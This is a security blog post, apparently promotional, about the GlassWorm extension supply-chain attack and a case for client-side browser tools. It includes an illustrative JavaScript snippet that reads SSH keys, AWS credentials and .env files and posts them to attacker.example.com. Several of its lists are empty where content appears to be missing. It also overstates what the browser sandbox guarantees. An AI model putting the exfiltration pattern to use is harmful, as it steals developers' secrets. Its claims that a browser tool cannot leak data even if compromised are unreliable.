Why Browser-Based Tools Are Safer Than VS Code Extensions

In March 2026, the GlassWorm campaign compromised 433 components across GitHub, npm, and VS Code — including 72 malicious Open VSX extensions that mimicked popular developer utilities. The worm harvested npm tokens, GitHub credentials, and keystroke data from thousands of developers. Meanwhile, every browser-based developer tool on the internet remained completely unaffected. This isn't a coincidence — it's architecture.

What Happened: The GlassWorm Supply Chain Attack

GlassWorm was first detected in November 2025 in three VS Code extensions with thousands of installs. By March 2026, it had evolved into a self-propagating worm that spread across multiple platforms simultaneously. Here's the timeline:

Why VS Code Extensions Are a Security Liability

VS Code extensions run with the same privileges as VS Code itself. There is no sandbox. No permission system. No runtime isolation. Every extension you install gets full access to your machine:

• Full file system access — read and write any file your user account can access, including ~/.ssh, ~/.aws/credentials, .env files, and your entire codebase
• Network access — make arbitrary HTTP requests, open WebSockets, and exfiltrate data to any server without any user notification
• Process execution — spawn child processes, run shell commands, and execute arbitrary binaries on your system
• Credential access — read environment variables, access VS Code's built-in secret storage, and intercept authentication tokens used by other extensions
• Silent updates — extensions auto-update by default, meaning a previously safe extension can become malicious with a single publisher push

A 2026 analysis of 27,261 VS Code extensions found that 8.5% expose sensitive developer data including access tokens and configuration files. And this is the official marketplace — the Open VSX registry used by Cursor, Windsurf, and other VS Code forks has even fewer security controls.

// An extension has full Node.js access — no sandbox
const fs = require('fs');
const { execSync } = require('child_process');
const https = require('https');

// Read your SSH keys
const sshKey = fs.readFileSync(
  path.join(os.homedir(), '.ssh', 'id_rsa'), 'utf8'
);

// Read your AWS credentials
const awsCreds = fs.readFileSync(
  path.join(os.homedir(), '.aws', 'credentials'), 'utf8'
);

// Read every .env file in your workspace
const envFiles = execSync(
  'find . -name ".env*" -type f'
).toString();

// Exfiltrate everything silently
https.request({
  hostname: 'attacker.example.com',
  method: 'POST',
  // ... your secrets are gone
});

This is not a theoretical risk. GlassWorm did exactly this — at scale, across hundreds of extensions, with invisible Unicode characters hiding the payload in plain sight.

The Browser Sandbox: Why Web Tools Can't Do This

Every browser tab runs inside a security sandbox enforced by the operating system. This isn't a policy — it's a hard architectural boundary. A website (or web-based tool) physically cannot:

* Browser-based tools can send data to servers — that's how server-side tools like CodeBeautify operated before their 2025 data leak. The key distinction is client-side tools that process everything in JavaScript without any network calls. You can verify this yourself in DevTools (more on that below).

The Supply Chain Problem with Extension Marketplaces

GlassWorm exploited a fundamental weakness in extension marketplaces: trust is implicit, not verified. Here's how the supply chain attack worked:

1. Publish a useful extension — create a legitimate-looking linter, formatter, or AI assistant that works as advertised
2. Accumulate trust — gather installs, stars, and positive reviews over weeks or months
3. Push a malicious update — add hidden payload via extensionDependencies or invisible Unicode characters that reviewers can't see
4. Auto-update delivers the payload — every developer who installed the extension automatically receives the compromised version
5. Harvest and propagate — steal tokens and credentials, then use them to compromise more extensions and repositories

The Open VSX registry — used by Cursor, Windsurf, and other VS Code forks — is especially vulnerable. Researchers found that these forks recommend extensions that don't exist yet in the Open VSX registry, letting attackers reserve those names and publish malicious packages.

Browser-based tools have no equivalent attack surface. There's no marketplace, no install step, no auto-update, no dependency chain. You visit a URL, use the tool, and close the tab. The attack surface is the page you're looking at — nothing more.

Not All Browser Tools Are Equal

Browser-based doesn't automatically mean safe. The 2025 CodeBeautify/JSONFormatter leak proved that server-side web tools can be just as dangerous as compromised extensions — they send your data to a server where it gets stored, leaked, or breached. The critical distinction is between:

How to Verify a Tool Is Truly Client-Side

Don't take anyone's word for it — including ours. Here's how to verify any browser-based tool in 30 seconds:

1. Open DevTools — press F12 or Ctrl+Shift+I (Cmd+Option+I on Mac)
2. Go to the Network tab — clear any existing entries
3. Paste sensitive data and run the tool — format your JSON, decode your JWT, generate your hash
4. Check the Network tab — if zero requests were made, your data never left your browser. If you see POST requests to an API, the tool is server-side

// After pasting JSON and clicking "Format":
//
// Network tab: (empty — no requests)
//
// That's it. No XHR, no fetch, no POST.
// Your data was processed entirely in JavaScript
// inside your browser tab.

// What you'd see with a SERVER-SIDE tool:
// POST https://api.sometool.com/format
// Request payload: { "input": "<your entire JSON>" }
// ⚠️ Your data just left your device

What You Should Do Right Now

Whether or not you were affected by GlassWorm, this is a good time to audit your development environment:

1. Audit Your VS Code Extensions

Open your VS Code terminal and run:

code --list-extensions

For each extension, ask: do I actually use this? Do I know the publisher? When was it last updated? Remove anything you don't actively need. Every extension is attack surface.

2. Disable Auto-Update for Extensions

In VS Code settings, set extensions.autoUpdate to false. Review changelogs before accepting updates. This prevents a trusted extension from silently becoming malicious.

3. Rotate Your Credentials

If you had any of the affected extensions installed, rotate immediately:

• npm tokens (npm token revoke)
• GitHub personal access tokens
• AWS access keys
• SSH keys
• Any API keys stored in environment variables

4. Use Browser-Based Tools for Sensitive Data

For tasks involving credentials, tokens, API keys, or proprietary code, use a verified client-side browser tool instead of a VS Code extension. The browser sandbox guarantees your data can't be exfiltrated even if the tool's JavaScript is compromised — it simply can't access your file system, shell, or credentials.

5. Scan Your Code for Vulnerabilities

GlassWorm hid payloads in invisible Unicode characters. Run a security scan on any recently modified code to check for hidden characters, hardcoded secrets, and injection patterns.

The Bigger Picture: Trust Boundaries in Developer Tooling

GlassWorm isn't an isolated incident. It's part of a pattern:

• November 2025 — CodeBeautify/JSONFormatter data leak exposes 5 GB of developer credentials (server-side web tools)
• November 2025 — first GlassWorm extensions found on VS Code Marketplace
• January 2026 — VS Code forks found recommending non-existent Open VSX extensions, enabling name-squatting attacks
• March 2026 — GlassWorm compromises 433 components across GitHub, npm, VS Code, and Open VSX

The common thread: developer tools with excessive access to your system. Server-side tools access your data. Extensions access your entire machine. The only architecture that provides a genuine security guarantee is client-side code running inside a browser sandbox.

This doesn't mean you should stop using VS Code or extensions entirely. It means you should apply the principle of least privilege: don't grant system-level access for tasks that can be done in a browser tab. Format JSON in a browser. Decode JWTs in a browser. Test regex patterns in a browser. Reserve VS Code extensions for functionality that genuinely requires IDE integration.

Frequently Asked Questions